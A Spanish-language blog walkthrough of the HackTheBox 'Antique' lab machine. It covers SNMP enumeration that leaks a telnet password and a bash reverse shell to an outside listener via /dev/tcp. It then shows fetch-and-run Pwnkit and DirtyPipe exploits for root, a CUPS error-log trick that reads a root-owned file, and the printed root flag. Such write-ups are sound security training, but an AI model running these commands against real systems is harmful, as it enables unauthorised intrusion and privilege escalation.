Post

HackTheBox - Antique

Máquina Linux de nivel Easy de HackTheBox.

Técnicas usadas: Linux, SNMP Enumeration, Pwnkit (CVE-2021-4034), DirtyPipe (CVE-2022-0847), Cups (CVE-2012-5519)

Fase de Reconocimiento 🧣

a. Enumeramos los puertos que están abiertos tanto TCP como UDP

  • nmap -p- -sS -Pn -n <IP> -oG puertos

  • nmap -sU --top-ports 1000 -Pn -n <IP> -oG puertos_udp

b. Al conectarnos con telnet al puerto 23 nos pedirá una contraseña para continuar, pero, al no tenerla inspeccionamos el servicio SNMP

Protocolo Simple de Gestión de Red (SNMP), fue creado para monitorear dispositivos en red. Se usa para manejar la configuración de tareas y cambiar configuraciones remotamente. Algunos dispositivos son compatibles como routers, switches, servidores o dispositivos IoT.

c. Al configurar dispositivos puede que exista información sobre los procesos y en ciertos casos credenciales. Así que, enumeraremos el servicio SNMP para tratar de conseguir información disponible, para esto debemos poseer una community string, algo así como una contraseña.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
nmap -sU -p 161 --script 'snmp-*' <IP Antique>

PORT    STATE SERVICE
161/udp open  snmp
| snmp-brute:
|   <empty> - Valid credentials
|   cascade - Valid credentials
|   secret - Valid credentials
|   rmonmgmtuicommunity - Valid credentials
|   ANYCOM - Valid credentials
|   volition - Valid credentials
|   ILMI - Valid credentials
|   TENmanUFactOryPOWER - Valid credentials
|   MiniAP - Valid credentials
|   PRIVATE - Valid credentials
|   admin - Valid credentials
|   private - Valid credentials
|   public - Valid credentials
|   PUBLIC - Valid credentials
|   snmpd - Valid credentials
|   cisco - Valid credentials
|   mngt - Valid credentials
|_  snmp-Trap - Valid credentials

snmpwalk -v2c -c secret 10.10.11.107
SNMPv2-SMI::mib-2 = STRING: "HTB Printer"

Al buscar por cualquiera de las community strings siempre obtendremos el mismo resultado, por lo que indagamos más sobre este servicio SNMP - Basics

d. Nos mencionan que sigue una estructura de árbol, y snmpwalk no enumera desde la raíz, así que le indicamos que queremos obtener toda la información posible desde la raíz

1
2
3
4
snmpwalk -v2c -c secret 10.10.11.107 1

SNMPv2-SMI::enterprises.11.2.3.9.1.1.13.0 = BITS: 50 40 73 73 77 30 72 64 40 31 32 33 21 21 31 32
33 1 3 9 17 18 19 22 23 25 26 27 30 31 33 34 35 37 38 39 42 43 49 50 51 54 57 58 61 65 74 75 79 82 83 86 90 91 94 95 98 103 106 111 114 115 119 122 123 126 130 131 134 135

Obtenemos la información en formato hexadecimal, para verla en texto claro usamos xxd -r -p

e. Una vez con la contraseña en texto claro nos autenticamos en el servicio telnet

1
2
3
4
5
6
7
8
telnet <IP Antique>
HP JetDirect

Password: P@ssw0rd@123!!123
Please type "?" for HELP
> ?
<SNIP>
exec: execute system commands (exec id)

Podemos ejecutar comandos, por lo que nos entablaremos una reverse shell

1
2
3
4
> exec bash -c "bash -i >& /dev/tcp/10.10.14.18/4444 0>&1"
-----------------------------------------------------------
nc -lvnp 4444
lp@antique:~$

Escalada de Privilegios 💹

Para escalar privilegios existen múltiples formas, primero usaremos Pwnkit

a. Primero, movemos los ficheros necesarios a la Máquina Antique

1
2
3
4
5
6
7
8
9
10
python -m http.server 80
--------------------------------------
lp@antique:/home/lp$ wget http://<tun0 IP>/cve-2021-4034.c -o-
lp@antique:/home/lp$ wget http://<tun0 IP>/Makefile -o-
lp@antique:/home/lp$ wget http://<tun0 IP>/pwnkit.c -o-
lp@antique:/home/lp$ make
lp@antique:/home/lp/backup$ chmod +x cve-2021-4034
lp@antique:/home/lp/backup$ ./cve-2021-4034
# whoami
root

b. La segunda forma se consigue al usar DirtyPipe, usaremos el exploit-1.c

1
2
3
4
5
6
7
8
lp@antique:~$ wget http://10.10.14.18/poc.c -o-
lp@antique:~$ gcc poc.c -o exploit
lp@antique:~$ chmod +x exploit
lp@antique:~$ ./exploit
Password: Restoring /etc/passwd from /tmp/passwd.bak...
Done! Popping shell... (run commands now)
whoami
root

c. Veremos los puertos abiertos en la máquina y buscaremos algún exploit para CUPS

1
2
3
4
5
6
7
lp@antique:~$ netstat -nat
<SNIP>
tcp        0      0 127.0.0.1:631           0.0.0.0:*               LISTEN

lp@antique:~$ curl http://127.0.0.1:631
<SNIP>
<P><A HREF="help/whatsnew.html">What's New in CUPS 1.6</A></P>
1
2
3
4
lp@antique:~$ cupsctl ErrorLog=/root/root.txt
lp@antique:~$ curl -s 127.0.0.1:631/admin/log/error_log?

b901e1e1f279e8d3160bebd097f37ddd
This post is licensed under CC BY 4.0 by the author.